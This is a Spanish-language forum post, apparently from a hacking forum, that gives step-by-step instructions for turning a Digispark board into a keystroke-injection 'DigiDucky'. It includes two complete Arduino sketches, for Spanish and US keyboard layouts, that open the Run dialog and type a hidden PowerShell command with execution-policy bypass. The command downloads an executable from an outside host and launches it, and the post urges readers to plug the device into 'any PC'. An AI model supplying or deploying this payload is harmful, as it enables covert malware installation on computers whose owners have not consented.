HOLA!!!
En este post explicare desde cero como hacer un DigiDucky (alternativa al RubberDucky mucho mas economica).

Pasos:
1 - Comprar la placa:Para argentinos yo compre en este tipo y no tuve ningun inconveniente Los enlaces son solo para miembros.
Registrate o
iniciá sesiónPara el resto del Mundo pueden comprarlo de la web oficial de Los enlaces son solo para miembros.
Registrate o
iniciá sesión
2 - Armado de ambiernte de desarrollo: a - Instalar el IDE de arduino. Los enlaces son solo para miembros.
Registrate o
iniciá sesión b - Instalar Drivers de Digispark y las dependencias del ide mas las librerias. Los enlaces son solo para miembros.
Registrate o
iniciá sesión (esta en ingles, pero viendo las fotos se hace facil)
3 - El codigo:Para este post voy a traducir el Los enlaces son solo para miembros.
Registrate o
iniciá sesiónPayload original:
GUI r
DELAY 100
STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
ENTER
Usaremos la libreria DigiKeyboard.h que lamentablemente esta hecha para teclados con distribucion US y no para teclados españoles (que supongo que es el que mas usamos nosotros), para crear scripts para teclados españoles deberan ir probando hasta encontrar el caracter que buscan, igual en mi ejemplo pueden ver que ya estan la mayoria cambiados a los que corresponden, con esos ya van a tener de sobra para hacer un monton de scripts, igual si necesitan info de como hacer alguna tecla especifica diganme en este post y les voy diciendo.
Codigo para el IDE de arduino
[SI VAMOS A USAR EL DIGIDUCKY EN UNA PC CON DISTRIBUCION DE TECLADO ES(ESPAÑOL)]:
#include "DigiKeyboard.h"
#define KEY_MODIFIER_LEFT_GUI 0x08
int ciclos = 0;
void setup() {
pinMode(1, OUTPUT); // INICIAMOS EL PIN 1 (LED)
digitalWrite(1, HIGH); // ENCENDEMOS EL LED PARA SABER QUE SE INICIO EL DIGIDUCKY
}
void loop() {
DigiKeyboard.update(); //iniciamos y mantenemos activo (keep alive) el driver de teclado
if (ciclos == 0) { //si es el primer ciclo (esto es para que solo se ejecute una vez)
DigiKeyboard.sendKeyStroke(0); //Enviamos una tecla vacia para iniciar la transferencia
DigiKeyboard.delay(500); //Esperamos medio segundo para asegurarnos que la pc detecta nuestro Digispark como teclado
//Codigo Payload: GUI r
DigiKeyboard.sendKeyStroke(KEY_R,KEY_MODIFIER_LEFT_GUI); //Tecla inicio(windows) + R
//Codigo Payload: DELAY 100
DigiKeyboard.delay(250); // esperamos 250ms (para que se abra la ventana ejecutar) (aumente el delay a 250 por que asi es mas estable)
//Codigo Payload: STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
DigiKeyboard.print("powershell /NoP /NonI /W Hidden /Exec Bypass @IEX *New/Object System.Net.WebClient(.DownloadFile*-http>&&example.com&bob.txt-,@$env>temp");
DigiKeyboard.sendKeyStroke(53, MOD_ALT_RIGHT); // escribimos la barra invertida
DigiKeyboard.print("bob.exe@(< Start/Process @$env>temp");
DigiKeyboard.sendKeyStroke(53, MOD_ALT_RIGHT); // escribimos la barra invertida
DigiKeyboard.print("bob.exe@@");
DigiKeyboard.delay(100); // Esperamos 100ms
//Codigo Payload: ENTER
DigiKeyboard.sendKeyStroke(KEY_ENTER); // Presionamos enter en la ventana ejecutar
DigiKeyboard.delay(100); //Esperamos 100ms
}
//SEÑAL LUMINICA (PARPADEO)
//Aca generamos la señal luminica para que sepamos que ya se ha ejecutado el script y podemos retirar el DigiDucky
delay(150);
digitalWrite(1, HIGH);
delay(150);
digitalWrite(1, LOW);
//SEÑAL LUMINICA
ciclos++; //Aumentamos el contador para luego no ejecutar nuevamente la secuencia de teclado
}
Codigo para el IDE de arduino
[SI VAMOS A USAR EL DIGIDUCKY EN UNA PC CON DISTRIBUCION DE TECLADO US(AMERICANO)]:#include "DigiKeyboard.h"
#define KEY_MODIFIER_LEFT_GUI 0x08
int ciclos = 0;
void setup() {
pinMode(1, OUTPUT); // INICIAMOS EL PIN 1 (LED)
digitalWrite(1, HIGH); // ENCENDEMOS EL LED PARA SABER QUE SE INICIO EL DIGIDUCKY
}
void loop() {
DigiKeyboard.update(); //iniciamos y mantenemos activo (keep alive) el driver de teclado
if (ciclos == 0) { //si es el primer ciclo (esto es para que solo se ejecute una vez)
DigiKeyboard.sendKeyStroke(0); //Enviamos una tecla vacia para iniciar la transferencia
DigiKeyboard.delay(500); //Esperamos medio segundo para asegurarnos que la pc detecta nuestro Digispark como teclado
//Codigo Payload: GUI r
DigiKeyboard.sendKeyStroke(KEY_R,KEY_MODIFIER_LEFT_GUI); //Tecla inicio(windows) + R
//Codigo Payload: DELAY 100
DigiKeyboard.delay(250); // esperamos 250ms (para que se abra la ventana ejecutar) (aumente el delay a 250 por que asi es mas estable)
//Codigo Payload: STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
DigiKeyboard.print("powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\"\"");
DigiKeyboard.delay(100); // Esperamos 100ms
//Codigo Payload: ENTER
DigiKeyboard.sendKeyStroke(KEY_ENTER); // Presionamos enter en la ventana ejecutar
DigiKeyboard.delay(100); //Esperamos 100ms
}
//SEÑAL LUMINICA (PARPADEO)
//Aca generamos la señal luminica para que sepamos que ya se ha ejecutado el script y podemos retirar el DigiDucky
delay(150);
digitalWrite(1, HIGH);
delay(150);
digitalWrite(1, LOW);
//SEÑAL LUMINICA
ciclos++; //Aumentamos el contador para luego no ejecutar nuevamente la secuencia de teclado
}
4 - Compilar y subir:Colocamos subir en el IDE de arduino y ahi conectamos el Digispark para que se grabe el script.
5 - A divertirse:Conecten el DigiDucky en cualquier pc y vean la magia!
Notas al pie:
El digispark no se lleva bien con los puertos USB de las pcs, por lo que es recomendable conectarlo a traves de un adaptador.
Yo use estos 2 y funcionaron bien:
Los enlaces son solo para miembros.
Registrate o
iniciá sesión:

Los enlaces son solo para miembros.
Registrate o
iniciá sesión (este no funciona para pasar el script, solo para ejecutarlo):
ACTUALIZACION: Distribuciones de teclado en español y en español latinoGRACIAS POR LEER!!!